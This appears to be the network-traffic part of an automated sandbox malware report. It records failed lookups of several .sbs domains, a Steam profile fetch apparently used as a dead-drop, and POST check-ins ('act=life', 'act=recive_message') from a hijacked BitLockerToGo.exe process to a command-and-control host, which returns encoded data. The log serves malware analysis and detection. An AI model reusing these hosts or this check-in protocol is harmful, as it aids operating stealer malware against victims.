Oct 31, 2024 01:05:22.543515921 CET	192.168.2.4	1.1.1.1	0xb433	Standard query (0)	villagedguy.cyou	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 01:05:20.644352913 CET	1.1.1.1	192.168.2.4	0xc4cc	Name error (3)	deepymouthi.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:20.657962084 CET	1.1.1.1	192.168.2.4	0x555c	Name error (3)	monstourtu.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:20.668311119 CET	1.1.1.1	192.168.2.4	0x8f34	Name error (3)	heroicmint.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:20.679044008 CET	1.1.1.1	192.168.2.4	0x8a01	Name error (3)	sidercotay.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:20.689716101 CET	1.1.1.1	192.168.2.4	0xad99	Name error (3)	captaitwik.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:20.700426102 CET	1.1.1.1	192.168.2.4	0x599d	Name error (3)	wrigglesight.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:20.713851929 CET	1.1.1.1	192.168.2.4	0x2dc8	Name error (3)	ferrycheatyk.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:20.723653078 CET	1.1.1.1	192.168.2.4	0x769	Name error (3)	snailyeductyi.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:20.733666897 CET	1.1.1.1	192.168.2.4	0x31e9	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:22.556458950 CET	1.1.1.1	192.168.2.4	0xb433	No error (0)	villagedguy.cyou		104.21.32.196	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:05:22.556458950 CET	1.1.1.1	192.168.2.4	0xb433	No error (0)	villagedguy.cyou		172.67.154.113	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

villagedguy.cyou

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	104.102.49.254	443	2676	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:05:21 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-31 00:05:22 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 31 Oct 2024 00:05:21 GMT Content-Length: 35954 Connection: close Set-Cookie: sessionid=447d09e58bc3481a7560f95d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Ccd7cb03e35e41f48f2bf1c7941cd6349; Path=/; Secure; HttpOnly; SameSite=None
2024-10-31 00:05:22 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-31 00:05:22 UTC	16384	IN	Data Raw: 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 Data Ascii: a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuitem"
2024-10-31 00:05:22 UTC	3768	IN	Data Raw: 61 72 20 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 69 7a 65 20 6f 66 66 6c 69 6e 65 22 20 64 61 74 61 2d 6d 69 6e 69 70 72 6f 66 69 6c 65 3d 22 31 37 36 34 30 36 36 31 37 32 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6c 61 79 65 72 41 76 61 74 61 72 41 75 74 6f 53 69 7a 65 49 6e 6e 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 76 61 74 61 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 66 65 66 34 39 65 37 66 61 37 65 31 39 39 37 33 31 30 64 37 30 35 62 32 61 36 31 35 38 66 66 38 64 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 Data Ascii: ar profile_header_size offline" data-miniprofile="1764066172"><div class="playerAvatarAutoSizeInner"><img src="https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg"></div></div
2024-10-31 00:05:22 UTC	1335	IN	Data Raw: 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 69 6d 61 67 65 73 2f 73 6b 69 6e 5f 31 2f 66 6f 6f 74 65 72 4c 6f 67 6f 5f 76 61 6c 76 65 2e 70 6e 67 3f 76 3d 31 22 20 77 69 64 74 68 3d 22 39 36 22 20 68 65 69 67 68 74 3d 22 32 36 22 20 62 6f 72 64 65 72 3d 22 30 22 20 61 6c 74 3d 22 56 61 6c 76 65 20 4c 6f 67 6f 22 20 2f 3e 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 73 70 61 6e 20 69 64 3d 22 66 6f 6f 74 65 72 54 65 78 74 22 3e 0d 0a 09 09 09 09 09 26 63 6f 70 79 3b 20 56 61 6c 76 65 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 41 6c 6c 20 74 72 61 64 65 6d 61 72 6b 73 20 61 72 65 20 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 Data Ascii: .com/public/images/skin_1/footerLogo_valve.png?v=1" width="96" height="26" border="0" alt="Valve Logo" /></span><span id="footerText">© Valve Corporation. All rights reserved. All trademarks are property of their respective owners in the

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	104.21.32.196	443	2676	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:05:23 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: villagedguy.cyou
2024-10-31 00:05:23 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 00:05:23 UTC	1005	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:05:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1foaruqrf9hujs0vrelprdukgp; expires=Sun, 23-Feb-2025 17:52:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cNEifAhWiQa0LJRGodP3iVGLynY1GH4UP1XAQ%2FA93dp4Bo0hplhU%2F1U9M84T0kDWu3lOef2LQlgb1eJHwOmDfBiWWIJJoNU84sCR2WJR4J83Y56Jkq0QGVIZNcPxtRLDZsrR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf64a48f5a463e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1988&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=907&delivery_rate=1455276&cwnd=249&unsent_bytes=0&cid=7d5ef95828c7bd96&ts=510&x=0"
2024-10-31 00:05:23 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 00:05:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	104.21.32.196	443	2676	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:05:24 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 75 Host: villagedguy.cyou
2024-10-31 00:05:24 UTC	75	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 74 4c 59 4d 65 35 2d 2d 33 26 6a 3d 35 63 39 62 38 36 37 34 61 36 33 30 64 39 31 30 31 62 34 36 37 33 33 61 61 33 37 66 31 35 65 63 Data Ascii: act=recive_message&ver=4.0&lid=tLYMe5--3&j=5c9b8674a630d9101b46733aa37f15ec
2024-10-31 00:05:24 UTC	1011	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:05:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l2e632l2203gccr19c2732i0cg; expires=Sun, 23-Feb-2025 17:52:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lj5w6Fe31qNxMm5vClSVnolpPtwOw%2B9C82z%2FSdkJ8zYP9W4IS9KJ3YwtRY%2BEZzyX9xR4a65CesGPkEeCCDssS%2BjiJPKVQVMvrctBIOBCqZ%2Bp72leXb0cfiUPhOeP9JBc0Qho"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf64abd8dac872-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2223&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=975&delivery_rate=1280282&cwnd=252&unsent_bytes=0&cid=ebbc1ebcf84cd70d&ts=451&x=0"
2024-10-31 00:05:24 UTC	358	IN	Data Raw: 32 64 62 31 0d 0a 62 42 49 37 34 55 30 76 6e 4f 47 31 53 56 6c 41 6e 58 53 47 37 67 35 52 61 48 34 56 71 38 67 70 35 75 54 50 6d 4e 6f 38 64 35 73 58 4d 45 33 44 64 78 75 77 77 38 59 73 65 33 72 37 46 65 71 64 61 33 31 4b 48 33 47 4a 38 6b 2b 48 69 4c 7a 39 39 68 34 42 39 6b 34 6f 58 59 41 68 58 50 6e 4e 6c 79 77 68 59 71 63 76 2f 63 78 72 50 30 70 45 4e 38 36 69 53 34 65 49 72 66 6d 78 55 77 66 33 44 33 70 58 68 69 56 4b 2f 34 58 55 4a 54 51 6c 2b 42 48 6e 68 47 41 34 42 52 5a 34 69 65 51 4c 67 35 37 74 6f 76 68 78 45 75 38 4e 58 31 71 53 4a 67 33 68 7a 63 35 72 50 43 36 2f 54 71 53 50 61 7a 4d 45 47 48 48 41 6f 45 47 4f 67 4b 7a 38 73 45 77 65 2f 51 52 36 57 59 55 6b 51 50 61 52 32 53 38 7a 4c 76 34 62 35 38 77 69 63 77 30 45 4e 35 48 71 47 4c 61 46 76 Data Ascii: 2db1bBI74U0vnOG1SVlAnXSG7g5RaH4Vq8gp5uTPmNo8d5sXME3Ddxuww8Yse3r7Feqda31KH3GJ8k+HiLz99h4B9k4oXYAhXPnNlywhYqcv/cxrP0pEN86iS4eIrfmxUwf3D3pXhiVK/4XUJTQl+BHnhGA4BRZ4ieQLg57tovhxEu8NX1qSJg3hzc5rPC6/TqSPazMEGHHAoEGOgKz8sEwe/QR6WYUkQPaR2S8zLv4b58wicw0EN5HqGLaFv
2024-10-31 00:05:24 UTC	1369	IN	Data Raw: 78 53 4d 77 4b 66 6f 45 37 34 56 68 50 67 6f 52 66 63 61 70 53 34 4f 4d 70 2f 57 79 57 68 6a 30 43 48 42 5a 77 32 45 4e 2b 5a 75 58 63 33 73 42 2b 67 62 6a 67 48 70 78 4d 46 78 6f 68 37 4d 4c 67 34 72 74 6f 76 68 57 45 50 6f 4e 65 31 61 41 4a 30 62 73 67 38 55 74 4e 69 66 74 45 4f 47 43 5a 6a 41 59 46 6e 6e 50 71 55 4b 50 6a 36 6a 39 76 42 35 62 75 51 6c 6f 47 64 74 76 62 50 4f 49 32 79 45 73 49 72 38 4a 71 70 55 73 4e 41 5a 63 4c 34 6d 75 53 6f 43 48 71 66 53 32 57 68 6e 2f 41 48 31 57 68 53 56 4e 2b 59 6e 66 49 7a 6f 76 39 42 6e 6b 69 57 45 33 44 42 42 32 7a 4f 6f 46 78 49 47 31 75 75 41 65 4f 2f 34 4e 59 68 75 32 4c 45 50 77 68 4d 46 72 4a 47 7a 6d 56 75 4f 41 4c 47 74 4b 45 6e 4c 47 75 45 71 57 67 36 50 6f 74 46 73 54 39 41 31 2b 57 59 59 6f 51 50 43 Data Ascii: xSMwKfoE74VhPgoRfcapS4OMp/WyWhj0CHBZw2EN+ZuXc3sB+gbjgHpxMFxoh7MLg4rtovhWEPoNe1aAJ0bsg8UtNiftEOGCZjAYFnnPqUKPj6j9vB5buQloGdtvbPOI2yEsIr8JqpUsNAZcL4muSoCHqfS2Whn/AH1WhSVN+YnfIzov9BnkiWE3DBB2zOoFxIG1uuAeO/4NYhu2LEPwhMFrJGzmVuOALGtKEnLGuEqWg6PotFsT9A1+WYYoQPC
2024-10-31 00:05:24 UTC	1369	IN	Data Raw: 47 7a 6d 56 75 4f 41 4c 47 74 4b 45 48 37 4a 6f 55 47 41 68 71 72 33 76 56 30 53 2b 67 4e 33 55 34 30 6f 53 66 4b 4b 32 69 30 37 4a 66 73 54 39 6f 6c 6c 50 77 5a 63 4f 59 6d 74 55 38 54 65 37 64 57 2f 53 42 62 57 44 57 46 51 77 7a 41 44 35 38 50 51 4a 33 74 36 76 78 48 68 68 47 63 31 41 68 78 6c 7a 4b 52 41 68 59 79 72 2b 37 56 53 45 2f 6b 50 63 46 2b 50 4c 30 72 35 6b 63 55 75 50 54 44 31 56 71 72 4d 61 79 74 4b 52 44 66 2f 75 6c 79 56 6b 4f 2f 50 75 31 41 62 2f 68 67 77 52 73 30 32 44 66 6d 50 6c 33 4e 37 4b 66 38 61 34 34 52 71 4e 77 49 54 65 4d 43 34 53 6f 69 49 76 2f 32 34 56 78 76 32 41 6e 6c 55 68 43 4a 47 39 49 37 54 4c 44 70 69 73 56 62 6a 6c 43 78 72 53 69 70 6e 78 4b 5a 6c 6a 34 71 6b 75 71 63 51 44 4c 6b 4a 66 42 6e 62 62 30 6e 79 69 39 30 6b Data Ascii: GzmVuOALGtKEH7JoUGAhqr3vV0S+gN3U40oSfKK2i07JfsT9ollPwZcOYmtU8Te7dW/SBbWDWFQwzAD58PQJ3t6vxHhhGc1AhxlzKRAhYyr+7VSE/kPcF+PL0r5kcUuPTD1VqrMaytKRDf/ulyVkO/Pu1Ab/hgwRs02DfmPl3N7Kf8a44RqNwITeMC4SoiIv/24Vxv2AnlUhCJG9I7TLDpisVbjlCxrSipnxKZlj4qkuqcQDLkJfBnbb0nyi90k
2024-10-31 00:05:24 UTC	1369	IN	Data Raw: 4c 6a 69 47 6f 38 53 6c 49 33 7a 72 49 4c 33 4d 61 43 33 59 30 63 4e 4d 4e 4f 62 78 65 61 62 30 72 79 77 34 39 72 4e 79 48 7a 48 75 75 4b 5a 54 38 41 46 58 7a 46 6f 55 2b 49 6a 36 6a 38 75 56 73 51 2b 41 70 38 55 34 55 73 54 76 47 4d 32 43 4e 37 62 4c 38 52 2f 4d 77 30 63 79 38 4c 66 4d 65 73 43 35 76 49 74 4c 71 2f 55 6c 57 68 54 6e 78 51 68 53 6c 49 38 6f 4c 52 49 7a 34 71 2b 78 66 69 69 6d 38 38 44 68 6c 32 78 71 35 48 69 6f 79 73 2b 37 52 56 47 76 49 4c 4d 42 66 44 4b 46 57 2b 32 35 63 61 4f 44 54 6f 42 75 6a 4d 63 33 30 54 58 48 44 46 36 68 50 45 68 37 2f 77 73 6c 41 51 39 67 74 7a 56 6f 51 69 53 2f 4b 4a 33 69 4d 39 4c 66 59 45 35 34 42 69 4e 41 51 51 65 63 53 67 53 49 6e 47 34 37 71 2f 52 6c 57 68 54 6c 78 65 6a 67 46 47 38 6f 53 58 4e 48 55 37 76 Data Ascii: LjiGo8SlI3zrIL3MaC3Y0cNMNObxeab0ryw49rNyHzHuuKZT8AFXzFoU+Ij6j8uVsQ+Ap8U4UsTvGM2CN7bL8R/Mw0cy8LfMesC5vItLq/UlWhTnxQhSlI8oLRIz4q+xfiim88Dhl2xq5Hioys+7RVGvILMBfDKFW+25caODToBujMc30TXHDF6hPEh7/wslAQ9gtzVoQiS/KJ3iM9LfYE54BiNAQQecSgSInG47q/RlWhTlxejgFG8oSXNHU7v
2024-10-31 00:05:24 UTC	1369	IN	Data Raw: 30 63 31 4a 63 51 63 36 36 57 34 66 45 6e 4f 79 37 53 42 37 30 41 6a 42 47 7a 54 59 4e 2b 59 2b 58 63 33 73 6b 38 42 2f 6e 67 32 30 36 42 68 46 79 77 4b 39 4b 67 6f 4b 6e 38 4c 68 59 45 2f 67 4c 65 6c 71 43 4a 55 54 35 69 39 41 6f 4b 57 4b 78 56 75 4f 55 4c 47 74 4b 4e 58 44 62 70 46 76 45 6d 65 50 6a 2b 46 6b 5a 75 56 59 77 58 59 6b 67 53 66 6d 50 30 53 34 39 4c 2f 34 5a 35 59 78 6a 4e 77 45 56 63 63 69 6e 54 6f 6d 43 76 2f 43 7a 55 52 6e 77 41 6e 30 5a 7a 57 39 4b 35 73 4f 50 61 77 6f 76 38 52 6a 6a 6d 69 77 73 52 41 55 33 7a 71 59 4c 33 4d 61 73 39 72 64 64 47 76 6f 4e 63 56 4f 52 50 55 48 33 69 39 49 6e 4d 43 7a 35 42 4f 4b 44 5a 54 41 4a 46 58 44 42 70 6b 47 48 67 65 32 30 2b 46 6b 4e 75 56 59 77 65 70 51 2f 51 4c 36 63 6d 54 4a 37 4a 66 4e 57 76 4d Data Ascii: 0c1JcQc66W4fEnOy7SB70AjBGzTYN+Y+Xc3sk8B/ng206BhFywK9KgoKn8LhYE/gLelqCJUT5i9AoKWKxVuOULGtKNXDbpFvEmePj+FkZuVYwXYkgSfmP0S49L/4Z5YxjNwEVccinTomCv/CzURnwAn0ZzW9K5sOPawov8RjjmiwsRAU3zqYL3Mas9rddGvoNcVORPUH3i9InMCz5BOKDZTAJFXDBpkGHge20+FkNuVYwepQ/QL6cmTJ7JfNWvM
2024-10-31 00:05:24 UTC	1369	IN	Data Raw: 47 33 4c 4b 70 6b 43 44 68 61 4c 2b 73 56 41 63 39 6b 34 2b 47 59 51 33 44 61 62 44 39 6a 41 34 4c 76 4a 57 2b 38 4a 31 63 77 30 51 4e 35 48 71 52 34 71 44 72 66 43 2b 57 68 44 2f 42 48 56 5a 69 43 78 43 2b 6f 58 54 4a 44 73 70 39 68 66 69 69 57 59 34 44 42 46 30 7a 36 77 4c 79 73 61 71 34 76 67 47 56 64 6b 56 66 56 57 45 62 31 4b 77 6d 70 63 73 4e 32 4b 6e 56 75 2b 41 61 44 51 4b 45 58 54 42 72 30 2b 4f 67 36 33 79 71 6c 59 56 2f 68 78 69 57 59 6f 71 51 66 32 44 30 79 30 79 4a 50 77 53 70 4d 49 73 4e 42 4a 63 4c 34 6d 48 52 34 4f 76 71 75 48 34 51 56 76 67 54 6e 64 56 77 33 63 4e 2f 34 6a 64 4a 44 59 68 2b 52 58 76 69 57 59 79 44 52 52 36 32 36 6c 45 69 34 4b 74 39 62 35 59 46 50 59 49 64 31 43 43 4a 30 71 2b 7a 5a 63 73 49 32 4b 6e 56 73 71 4c 62 7a 64 Data Ascii: G3LKpkCDhaL+sVAc9k4+GYQ3DabD9jA4LvJW+8J1cw0QN5HqR4qDrfC+WhD/BHVZiCxC+oXTJDsp9hfiiWY4DBF0z6wLysaq4vgGVdkVfVWEb1KwmpcsN2KnVu+AaDQKEXTBr0+Og63yqlYV/hxiWYoqQf2D0y0yJPwSpMIsNBJcL4mHR4OvquH4QVvgTndVw3cN/4jdJDYh+RXviWYyDRR626lEi4Kt9b5YFPYId1CCJ0q+zZcsI2KnVsqLbzd
2024-10-31 00:05:24 UTC	1369	IN	Data Raw: 4b 6c 46 69 6f 47 37 36 2f 56 35 44 2f 51 49 5a 30 6a 44 59 51 33 34 77 34 39 37 64 57 4c 37 42 36 54 55 50 47 46 52 53 53 53 65 2b 68 6d 62 79 4c 53 36 72 68 35 4e 71 30 41 77 53 38 4e 33 44 62 6d 41 78 54 6b 39 49 65 6b 56 6f 37 4a 53 48 51 30 61 63 73 36 36 43 61 71 4e 75 66 33 34 45 46 58 32 54 69 68 67 77 32 63 4e 77 63 32 58 4d 33 74 36 76 79 50 6e 67 6d 49 30 48 41 30 36 35 36 31 4e 67 59 47 39 75 4a 5a 56 41 66 35 4f 50 68 6d 46 62 78 57 75 7a 5a 63 76 4b 6d 4b 6e 52 72 62 58 4f 57 42 64 54 43 58 57 35 46 4c 45 6b 4f 32 69 36 68 42 56 36 30 34 6f 47 63 51 73 58 2b 79 46 31 44 30 34 5a 63 45 6f 35 35 70 68 50 41 45 64 53 66 65 45 52 6f 57 46 6f 37 69 4a 53 42 6a 70 44 58 56 65 76 52 46 44 2b 5a 66 51 4a 54 30 69 76 31 69 6b 67 79 78 72 4d 31 77 2f Data Ascii: KlFioG76/V5D/QIZ0jDYQ34w497dWL7B6TUPGFRSSSe+hmbyLS6rh5Nq0AwS8N3DbmAxTk9IekVo7JSHQ0acs66CaqNuf34EFX2Tihgw2cNwc2XM3t6vyPngmI0HA06561NgYG9uJZVAf5OPhmFbxWuzZcvKmKnRrbXOWBdTCXW5FLEkO2i6hBV604oGcQsX+yF1D04ZcEo55phPAEdSfeERoWFo7iJSBjpDXVevRFD+ZfQJT0iv1ikgyxrM1w/
2024-10-31 00:05:24 UTC	1369	IN	Data Raw: 7a 57 2f 36 48 74 44 55 4b 70 58 47 38 58 6d 6d 39 62 76 74 75 46 5a 58 73 77 76 30 36 6b 79 32 38 68 47 42 70 30 33 36 6b 4d 75 72 69 4b 39 4c 39 66 41 2b 6b 44 66 48 69 41 50 6b 66 41 76 63 49 6f 4e 53 7a 34 41 50 58 4d 49 6e 4d 46 58 43 2f 77 36 67 50 45 75 65 4f 36 6f 42 35 4e 75 54 74 7a 56 34 30 6f 57 2b 2f 4f 38 43 55 38 49 2b 6b 47 36 59 42 4e 4d 42 73 57 4e 34 66 71 54 63 54 65 2f 37 54 34 57 67 53 35 56 69 41 4c 32 48 6f 65 71 64 4f 46 4e 48 55 37 76 77 43 6b 31 44 35 39 53 67 34 33 6b 65 6f 4d 68 35 53 2f 2f 4c 74 49 46 72 34 77 54 6e 79 55 4c 46 33 34 67 4f 6b 56 45 43 37 35 45 66 36 4c 61 68 55 71 58 44 6d 4a 70 51 76 63 76 2b 32 79 2b 47 46 62 75 52 59 77 41 63 4d 61 54 76 43 4e 30 44 30 71 62 39 6f 42 35 35 78 71 4d 45 70 53 4e 38 2f 71 45 Data Ascii: zW/6HtDUKpXG8Xmm9bvtuFZXswv06ky28hGBp036kMuriK9L9fA+kDfHiAPkfAvcIoNSz4APXMInMFXC/w6gPEueO6oB5NuTtzV40oW+/O8CU8I+kG6YBNMBsWN4fqTcTe/7T4WgS5ViAL2HoeqdOFNHU7vwCk1D59Sg43keoMh5S//LtIFr4wTnyULF34gOkVEC75Ef6LahUqXDmJpQvcv+2y+GFbuRYwAcMaTvCN0D0qb9oB55xqMEpSN8/qE
2024-10-31 00:05:24 UTC	1369	IN	Data Raw: 30 2b 45 78 56 6f 55 34 33 56 34 34 75 54 76 43 41 78 54 6b 39 49 65 6b 56 6f 37 4a 53 48 41 45 64 5a 38 53 37 52 6f 43 51 6b 38 53 66 57 42 44 2b 4d 45 35 75 6b 69 68 64 76 4b 58 55 50 54 68 69 73 56 62 38 7a 44 52 7a 4c 52 70 79 7a 75 6f 46 78 49 4c 74 6f 76 68 78 48 76 67 65 66 55 69 4f 4b 31 75 38 70 4e 45 75 50 47 4b 78 56 75 6a 4d 4e 48 4d 46 44 58 44 50 72 30 7a 49 67 62 66 39 2b 42 42 56 39 30 34 6f 47 59 77 2b 53 76 69 47 30 47 63 39 4c 50 46 57 2b 38 4a 31 63 78 78 63 4c 35 72 6b 43 35 62 47 39 62 72 2f 55 42 6a 34 44 58 35 61 6b 54 31 4c 2f 5a 58 55 62 41 55 63 33 77 62 6e 6d 47 73 43 42 78 68 68 33 4b 6c 62 67 37 69 54 32 71 68 64 41 66 35 42 55 45 6d 4f 4f 6c 7a 35 6b 2b 6b 56 44 44 50 34 42 71 61 71 62 79 55 4a 58 44 6d 4a 73 67 76 63 78 6f Data Ascii: 0+ExVoU43V44uTvCAxTk9IekVo7JSHAEdZ8S7RoCQk8SfWBD+ME5ukihdvKXUPThisVb8zDRzLRpyzuoFxILtovhxHvgefUiOK1u8pNEuPGKxVujMNHMFDXDPr0zIgbf9+BBV904oGYw+SviG0Gc9LPFW+8J1cxxcL5rkC5bG9br/UBj4DX5akT1L/ZXUbAUc3wbnmGsCBxhh3Klbg7iT2qhdAf5BUEmOOlz5k+kVDDP4BqaqbyUJXDmJsgvcxo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
